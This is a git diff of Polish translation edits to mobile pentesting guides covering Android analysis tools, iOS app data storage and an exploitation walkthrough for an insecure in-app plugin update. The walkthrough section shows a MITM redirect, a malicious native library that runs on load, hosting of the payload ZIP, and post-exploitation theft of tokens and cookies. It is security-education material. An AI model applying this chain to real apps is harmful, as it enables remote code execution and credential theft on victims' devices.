szczególnie ostrożny ![](<../../images/image (866).png>) -**Ocena podatności aplikacji** za pomocą ładnego interfejsu internetowego. Możesz również przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko). +**Ocena podatności aplikacji** przy użyciu ładnego interfejsu internetowego. Możesz również przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\ -Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), będzie mógł go również analizować. +Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie w stanie go przeanalizować. -MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku. +MobSF pozwala również na **diff/Compare** analizy oraz integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku. ### Wspomagana analiza dynamiczna z MobSF @@ -548,7 +548,7 @@ Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne us **Frida** -Domyślnie będzie również używać niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\ +Domyślnie użyje również niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\ MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu. Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\ @@ -565,11 +565,11 @@ Ponadto masz kilka dodatkowych funkcji Frida: - **Search Class Pattern**: Wyszukaj klasy według wzoru - **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida. -Gdy wybierzesz dodatkowy moduł, który chcesz użyć, musisz nacisnąć "**Start Instrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**". +Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**". **Shell** -Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **poleceniami MobSF** i powszechnymi **poleceniami** **powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia: +Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia: ```bash help shell ls @@ -647,7 +647,7 @@ Pobierz [najowszą wersję](https://github.com/vincentcox/StaCoAn/releases): ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\ +AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji na Androida.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -667,7 +667,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla programistów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa. +**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa. Może: @@ -688,9 +688,9 @@ Zauważ, że w zależności od usługi i konfiguracji, której używasz do obfus ### [ProGuard]() -Z [Wikipedia](): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować kod bajtowy oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2. +Z [Wikipedia](): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowuje kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2. -ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie release. +ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie wydania. ### [DexGuard](https://www.guardsquare.com/dexguard) @@ -702,7 +702,7 @@ Znajdź przewodnik krok po kroku, jak deobfuskować apk w [https://blog.lexfo.fr - przekaż wynik do klasy dziedziczącej z FilterInputStream, aby go odszyfrować; - wykonaj kilka bezużytecznych obfuskacji, aby zmarnować kilka minut czasu odwracającego; - przekaż odszyfrowany wynik do ZipInputStream, aby uzyskać plik DEX; -- w końcu załaduj wynikowy DEX jako zasób za pomocą metody `loadDex`. +- w końcu załaduj wynikowy DEX jako zasób, używając metody `loadDex`. ### [DeGuard](http://apk-deguard.com) @@ -720,17 +720,17 @@ To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikacj ### [APKiD](https://github.com/rednaga/APKiD) -APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida. +APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida. ### Manual -[Przeczytaj ten samouczek, aby poznać kilka sztuczek dotyczących **jak odwrócić niestandardową obfuskację**](manual-deobfuscation.md) +[Przeczytaj ten poradnik, aby poznać kilka sztuczek na **jak odwrócić niestandardową obfuskację**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, samouczków i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania. +AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md index a1afaae95..adec40829 100644 --- a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -Wiele aplikacji na Androida implementuje **własne kanały aktualizacji „pluginów” lub „dynamicznych funkcji”** zamiast korzystać z Google Play Store. Gdy implementacja jest niebezpieczna, atakujący zdolny do przechwycenia ruchu może dostarczyć **dowolny kod natywny, który zostanie załadowany w procesie aplikacji**, co prowadzi do pełnego zdalnego wykonania kodu (RCE) na urządzeniu – a w niektórych przypadkach na każdym zewnętrznym urządzeniu kontrolowanym przez aplikację (samochody, IoT, urządzenia medyczne…). +Wiele aplikacji na Androida implementuje **własne kanały aktualizacji „pluginów” lub „dynamicznych funkcji”** zamiast korzystać z Google Play Store. Gdy implementacja jest niebezpieczna, atakujący, który jest w stanie przechwycić ruch, może dostarczyć **dowolny kod natywny, który zostanie załadowany w procesie aplikacji**, co prowadzi do pełnego zdalnego wykonania kodu (RCE) na urządzeniu – a w niektórych przypadkach na każdym zewnętrznym urządzeniu kontrolowanym przez aplikację (samochody, IoT, urządzenia medyczne…). -Ta strona podsumowuje łańcuch podatności z rzeczywistego świata znaleziony w aplikacji diagnostycznej Xtool **AnyScan** (v4.40.11 → 4.40.40) i uogólnia technikę, abyś mógł audytować inne aplikacje na Androida i wykorzystać błędną konfigurację podczas zaangażowania red-team. +Ta strona podsumowuje łańcuch podatności z rzeczywistego świata znaleziony w aplikacji diagnostycznej Xtool **AnyScan** (v4.40.11 → 4.40.40) i uogólnia technikę, abyś mógł audytować inne aplikacje na Androida i wykorzystać błędną konfigurację podczas zaangażowania red-teamu. --- ## 1. Identifying an Insecure TLS TrustManager @@ -22,7 +22,7 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} }; } ``` -3. Jeśli jest obecny, aplikacja zaakceptuje **dowolny certyfikat TLS** → możesz uruchomić przezroczysty **proxy MITM** z certyfikatem samopodpisanym: +3. Jeśli jest obecny, aplikacja zaakceptuje **dowolny certyfikat TLS** → możesz uruchomić przezroczysty **MITM proxy** z certyfikatem samopodpisanym: ```bash mitmproxy -p 8080 -s addon.py # see §4 iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator @@ -57,7 +57,7 @@ return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00" ``` ## 3. Stwórz złośliwy plugin -1. Wybierz dowolny legalny plugin ZIP i zastąp natywną bibliotekę swoim ładunkiem: +1. Wybierz dowolny legalny plugin ZIP i zastąp bibliotekę natywną swoim ładunkiem: ```c // libscan_x64.so – constructor runs as soon as the library is loaded __attribute__((constructor)) @@ -72,7 +72,7 @@ $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt ``` 2. Zaktualizuj metadane JSON, aby `"FileName" : "PWNED.zip"` oraz `"DownloadURL"` wskazywały na twój serwer HTTP. -3. Szyfruj DES-em + koduj w Base64 zmodyfikowany JSON i skopiuj go z powrotem do przechwyconego XML. +3. Zaszyfruj DES-em + zakoduj w Base64 zmodyfikowany JSON i skopiuj go z powrotem do przechwyconego XML. ## 4. Dostarcz Payload za pomocą mitmproxy @@ -93,15 +93,15 @@ Uruchom prosty serwer WWW, aby hostować złośliwy plik ZIP: ```bash python3 -m http.server 8000 --directory ./payloads ``` -Kiedy ofiara uruchamia aplikację, ona: -* pobiera nasz sfałszowany XML przez kanał MITM; -* deszyfruje i analizuje go za pomocą wbudowanego klucza DES; -* pobiera `PWNED.zip` → rozpakowuje w prywatnej pamięci; +Kiedy ofiara uruchomi aplikację, to: +* pobierze nasz sfałszowany XML przez kanał MITM; +* odszyfruje i sparsuje go za pomocą wbudowanego klucza DES; +* pobierze `PWNED.zip` → rozpakowuje w prywatnej pamięci; * `dlopen()` dołączoną *libscan_x64.so*, natychmiast wykonując nasz kod **z uprawnieniami aplikacji** (kamera, GPS, Bluetooth, system plików, …). -Ponieważ wtyczka jest buforowana na dysku, tylna furtka **utrzymuje się po ponownych uruchomieniach** i działa za każdym razem, gdy użytkownik wybiera powiązaną funkcję. +Ponieważ wtyczka jest buforowana na dysku, tylne wejście **utrzymuje się po ponownych uruchomieniach** i działa za każdym razem, gdy użytkownik wybiera powiązaną funkcję. -## 5. Pomysły po eksploatacji +## 5. Pomysły na post-eksploatację * Kradnij ciasteczka sesji, tokeny OAuth lub JWT przechowywane przez aplikację. * Zainstaluj APK drugiego etapu i cicho zainstaluj go za pomocą `pm install` (aplikacja już ma `REQUEST_INSTALL_PACKAGES`). diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index f6e429996..d94e1ccd3 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -27,7 +27,7 @@ basic-ios-testing-operations.md {{#endref}} > [!TIP] -> W kolejnych krokach **aplikacja powinna być zainstalowana** na urządzeniu i powinna już mieć uzyskany **plik IPA** aplikacji.\ +> W kolejnych krokach **aplikacja powinna być zainstalowana** na urządzeniu i powinna już uzyskać **plik IPA** aplikacji.\ > Przeczytaj stronę [Basic iOS Testing Operations](basic-ios-testing-operations.md), aby dowiedzieć się, jak to zrobić. ### Basic Static Analysis @@ -162,7 +162,7 @@ ios-hooking-with-objection.md ### Struktura IPA -Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowany pakiet**. Zmieniając jego rozszerzenie na `.zip`, można go **rozpakować**, aby ujawnić jego zawartość. W tej strukturze, **Bundle** reprezentuje w pełni zapakowaną aplikację gotową do instalacji. Wewnątrz znajdziesz katalog o nazwie `.app`, który zawiera zasoby aplikacji. +Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowanego pakietu**. Zmieniając jego rozszerzenie na `.zip`, można go **rozpakować**, aby ujawnić jego zawartość. W tej strukturze, **Bundle** reprezentuje w pełni zapakowaną aplikację gotową do instalacji. Wewnątrz znajdziesz katalog o nazwie `.app`, który zawiera zasoby aplikacji. - **`Info.plist`**: Ten plik zawiera szczegółowe informacje konfiguracyjne aplikacji. - **`_CodeSignature/`**: Ten katalog zawiera plik plist, który zawiera podpis, zapewniając integralność wszystkich plików w pakiecie. @@ -173,12 +173,12 @@ Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowany pakiet**. Zmie - **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób na wypadek, gdy dany język nie jest obsługiwany. - **Bezpieczeństwo**: Katalog `_CodeSignature/` odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich plików w pakiecie za pomocą podpisów cyfrowych. - **Zarządzanie zasobami**: Plik `Assets.car` wykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest kluczowe dla optymalizacji wydajności aplikacji i zmniejszenia jej ogólnego rozmiaru. -- **Frameworki i PlugIns**: Te katalogi podkreślają modułowość aplikacji iOS, umożliwiając deweloperom dołączanie bibliotek kodu do ponownego użycia (`Frameworks/`) oraz rozszerzanie funkcjonalności aplikacji (`PlugIns/`). +- **Frameworki i PlugIns**: Te katalogi podkreślają modularność aplikacji iOS, umożliwiając deweloperom dołączanie bibliotek kodu do ponownego użycia (`Frameworks/`) oraz rozszerzanie funkcjonalności aplikacji (`PlugIns/`). - **Lokalizacja**: Struktura wspiera wiele języków, ułatwiając globalny zasięg aplikacji poprzez dołączanie zasobów dla konkretnych pakietów językowych. **Info.plist** -**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie par **klucz-wartość**. Ten plik jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków w pakiecie. Jest zbudowany w formacie XML lub binarnym i zawiera krytyczne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). +**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie par **klucz-wartość**. Plik ten jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków w pakiecie. Jest zbudowany w formacie XML lub binarnym i zawiera istotne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). Dla tych, którzy chcą pracować z tym plikiem w bardziej dostępnym formacie, konwersję XML można łatwo osiągnąć za pomocą `plutil` na macOS (dostępne natywnie w wersjach 10.2 i nowszych) lub `plistutil` na Linuxie. Komendy do konwersji są następujące: @@ -215,11 +215,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library ``` -Alternatywnie, nazwa aplikacji może być wyszukiwana w `/private/var/containers` za pomocą polecenia `find`: +Alternatywnie, nazwa aplikacji może być wyszukana w `/private/var/containers` za pomocą polecenia `find`: ```bash find /private/var/containers -name "Progname*" ``` -Polecenia takie jak `ps` i `lsof` mogą być również wykorzystane do identyfikacji procesu aplikacji i listowania otwartych plików, odpowiednio, dostarczając informacji o aktywnych ścieżkach katalogów aplikacji: +Polecenia takie jak `ps` i `lsof` mogą być również wykorzystane do identyfikacji procesu aplikacji oraz listowania otwartych plików, odpowiednio, dostarczając informacji o aktywnych ścieżkach katalogów aplikacji: ```bash ps -ef | grep -i lsof -p | grep -i "/containers" | head -n 1 @@ -240,7 +240,7 @@ lsof -p | grep -i "/containers" | head -n 1 - Zawartość tego katalogu **jest kopiowana**. - Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`. - **Library/** -- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **cache**, **preferencje**, **ciasteczka** i pliki konfiguracyjne listy właściwości (plist). +- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **cache**, **preferencje**, **ciasteczka** oraz pliki konfiguracyjne listy właściwości (plist). - Aplikacje iOS zazwyczaj używają podkatalogów `Application Support` i `Caches`, ale aplikacja może tworzyć własne podkatalogi. - **Library/Caches/** - Zawiera **półtrwałe pliki cache.** @@ -454,7 +454,7 @@ Możesz znaleźć informacje, jak sprawdzić źle skonfigurowane bazy danych Fir ### Realm databases -[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) oferują potężną alternatywę dla przechowywania danych, której nie zapewnia Apple. Domyślnie **przechowują dane w postaci niezaszyfrowanej**, z możliwością szyfrowania dostępną poprzez odpowiednią konfigurację. +[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) oferują potężną alternatywę dla przechowywania danych, której nie zapewnia Apple. Domyślnie **przechowują dane w postaci niezaszyfrowanej**, z możliwością szyfrowania poprzez odpowiednią konfigurację. Bazy danych znajdują się w: `/private/var/mobile/Containers/Data/Application/{APPID}`. Aby zbadać te pliki, można wykorzystać polecenia takie jak: ```bash @@ -522,15 +522,15 @@ Ta metoda usunie wszystkie zbuforowane żądania i odpowiedzi z pliku Cache.db. [Dokumentacja Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): -`Obiekt konfiguracyjny sesji efemerycznej jest podobny do domyślnego obiektu konfiguracyjnego sesji (patrz domyślny), z tą różnicą, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy sesja efemeryczna zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.` +`Obiekt konfiguracyjny sesji efemerycznej jest podobny do domyślnej konfiguracji sesji (patrz domyślna), z wyjątkiem tego, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy sesja efemeryczna zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.` -3. Bufor można również wyłączyć, ustawiając politykę buforowania na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Wyłączy to przechowywanie buforu w jakiejkolwiek formie, zarówno w pamięci, jak i na dysku. +3. Bufor można również wyłączyć, ustawiając politykę buforowania na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Wyłączy to przechowywanie bufora w jakiejkolwiek formie, zarówno w pamięci, jak i na dysku. ### Snapshots Kiedy naciśniesz przycisk home, iOS **robi zrzut ekranu bieżącego ekranu**, aby móc przejść do aplikacji w znacznie płynniejszy sposób. Jednak jeśli na bieżącym ekranie znajdują się **wrażliwe** **dane**, zostaną one **zapisane** w **obrazie** (który **utrzymuje się** **po** **ponownych uruchomieniach**). To są zrzuty ekranu, do których możesz również uzyskać dostęp, podwójnie stukając ekran główny, aby przełączać się między aplikacjami. -O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOS 7.0). +O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOX 7.0). Jednym ze sposobów zapobiegania temu złemu zachowaniu jest umieszczenie pustego ekranu lub usunięcie wrażliwych danych przed zrobieniem zrzutu ekranu za pomocą funkcji `ApplicationDidEnterBackground()`. @@ -566,11 +566,11 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds; [self.backgroundImage removeFromSuperview]; } ``` -To ustawienie obrazu tła na `overlayImage.png` za każdym razem, gdy aplikacja jest w tle. Zapobiega to wyciekom wrażliwych danych, ponieważ `overlayImage.png` zawsze zastępuje bieżący widok. +To ustawia tło obrazu na `overlayImage.png` za każdym razem, gdy aplikacja jest w tle. Zapobiega to wyciekom wrażliwych danych, ponieważ `overlayImage.png` zawsze zastępuje bieżący widok. ### Keychain -Do uzyskiwania dostępu i zarządzania keychainem iOS, dostępne są narzędzia takie jak [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), odpowiednie dla urządzeń z jailbreakiem. Dodatkowo, [**Objection**](https://github.com/sensepost/objection) oferuje polecenie `ios keychain dump` do podobnych celów. +Do uzyskiwania dostępu i zarządzania keychainem iOS dostępne są narzędzia takie jak [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), odpowiednie dla urządzeń z jailbreakiem. Dodatkowo, [**Objection**](https://github.com/sensepost/objection) oferuje polecenie `ios keychain dump` do podobnych celów. #### **Przechowywanie poświadczeń** @@ -606,13 +606,13 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo; ``` ## **Logi** -Debugowanie kodu często wiąże się z użyciem **logowania**. Istnieje ryzyko, ponieważ **logi mogą zawierać wrażliwe informacje**. Wcześniej, w iOS 6 i wcześniejszych wersjach, logi były dostępne dla wszystkich aplikacji, co stwarzało ryzyko wycieku wrażliwych danych. **Teraz aplikacje mają ograniczony dostęp tylko do swoich logów**. +Debugowanie kodu często wiąże się z używaniem **logowania**. Istnieje ryzyko, ponieważ **logi mogą zawierać wrażliwe informacje**. Wcześniej, w iOS 6 i wcześniejszych wersjach, logi były dostępne dla wszystkich aplikacji, co stwarzało ryzyko wycieku wrażliwych danych. **Teraz aplikacje mają ograniczony dostęp tylko do swoich logów**. Pomimo tych ograniczeń, **atakujący z fizycznym dostępem** do odblokowanego urządzenia może nadal to wykorzystać, podłączając urządzenie do komputera i **czytając logi**. Ważne jest, aby zauważyć, że logi pozostają na dysku nawet po odinstalowaniu aplikacji. Aby zminimalizować ryzyko, zaleca się **dokładne interakcje z aplikacją**, eksplorując wszystkie jej funkcjonalności i dane wejściowe, aby upewnić się, że żadne wrażliwe informacje nie są rejestrowane przypadkowo. -Przy przeglądaniu kodu źródłowego aplikacji w poszukiwaniu potencjalnych wycieków, należy szukać zarówno **zdefiniowanych**, jak i **niestandardowych instrukcji logowania** używając słów kluczowych takich jak `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` dla funkcji wbudowanych oraz wszelkich wzmiankach o `Logging` lub `Logfile` dla niestandardowych implementacji. +Przeglądając kod źródłowy aplikacji w poszukiwaniu potencjalnych wycieków, zwróć uwagę zarówno na **zdefiniowane**, jak i **niestandardowe instrukcje logowania** używając słów kluczowych takich jak `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` dla funkcji wbudowanych oraz wszelkich wzmiankach o `Logging` lub `Logfile` dla niestandardowych implementacji. ### **Monitorowanie logów systemowych** @@ -646,11 +646,11 @@ Włączenie **zainstalowanych aplikacji i ich danych** do kopii zapasowych podno ### Wykluczanie plików z kopii zapasowych -Pliki w `Documents/` i `Library/Application Support/` są domyślnie kopiowane. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z kluczem `NSURLIsExcludedFromBackupKey`. Praktyka ta jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych. +Pliki w `Documents/` i `Library/Application Support/` są domyślnie tworzone w kopiach zapasowych. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z `NSURLIsExcludedFromBackupKey`. Praktyka ta jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych. ### Testowanie pod kątem podatności -Aby ocenić bezpieczeństwo kopii zapasowej aplikacji, zacznij od **utworzenia kopii zapasowej** za pomocą Findera, a następnie zlokalizuj ją, korzystając z wskazówek zawartych w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą być zmienione, aby wpłynąć na zachowanie aplikacji. +Aby ocenić bezpieczeństwo kopii zapasowej aplikacji, zacznij od **utworzenia kopii zapasowej** za pomocą Findera, a następnie zlokalizuj ją, korzystając z wskazówek zawartych w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą być zmieniane, aby wpłynąć na zachowanie aplikacji. Wrażliwe informacje można wyszukiwać za pomocą narzędzi wiersza poleceń lub aplikacji takich jak [iMazing](https://imazing.com). W przypadku zaszyfrowanych kopii zapasowych obecność szyfrowania można potwierdzić, sprawdzając klucz "IsEncrypted" w pliku "Manifest.plist" w katalogu głównym kopii zapasowej. ```xml @@ -665,7 +665,7 @@ Wrażliwe informacje można wyszukiwać za pomocą narzędzi wiersza poleceń lu ... ``` -Aby poradzić sobie z zaszyfrowanymi kopiami zapasowymi, przydatne mogą być skrypty Pythona dostępne w [repozytorium GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), takie jak **backup_tool.py** i **backup_passwd.py**, chociaż mogą wymagać dostosowań w celu zapewnienia zgodności z najnowszymi wersjami iTunes/Finder. Narzędzie [**iOSbackup**](https://pypi.org/project/iOSbackup/) to kolejna opcja do uzyskiwania dostępu do plików w zabezpieczonych hasłem kopiach zapasowych. +Aby poradzić sobie z zaszyfrowanymi kopiami zapasowymi, przydatne mogą być skrypty Pythona dostępne w [repozytorium GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), takie jak **backup_tool.py** i **backup_passwd.py**, chociaż mogą wymagać dostosowania do najnowszych wersji iTunes/Finder. Narzędzie [**iOSbackup**](https://pypi.org/project/iOSbackup/) to kolejna opcja do uzyskiwania dostępu do plików w zabezpieczonych hasłem kopiach zapasowych. ### Modyfikowanie zachowania aplikacji @@ -695,7 +695,7 @@ $ r2 ``` ## **Analiza pamięci w czasie rzeczywistym** -**r2frida** oferuje potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez potrzeby zrzutu pamięci. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji: +**r2frida** oferuje potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez potrzeby posiadania zrzutu pamięci. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji: ```bash $ r2 frida://usb// [0x00000000]> /\ @@ -745,7 +745,7 @@ Sukces uwierzytelnienia jest wskazywany przez wartość boolean zwracaną z **`e ### Uwierzytelnianie lokalne z użyciem Keychain -Implementacja **uwierzytelniania lokalnego** w aplikacjach iOS polega na użyciu **API keychain** do bezpiecznego przechowywania danych tajnych, takich jak tokeny uwierzytelniające. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub uwierzytelnienia 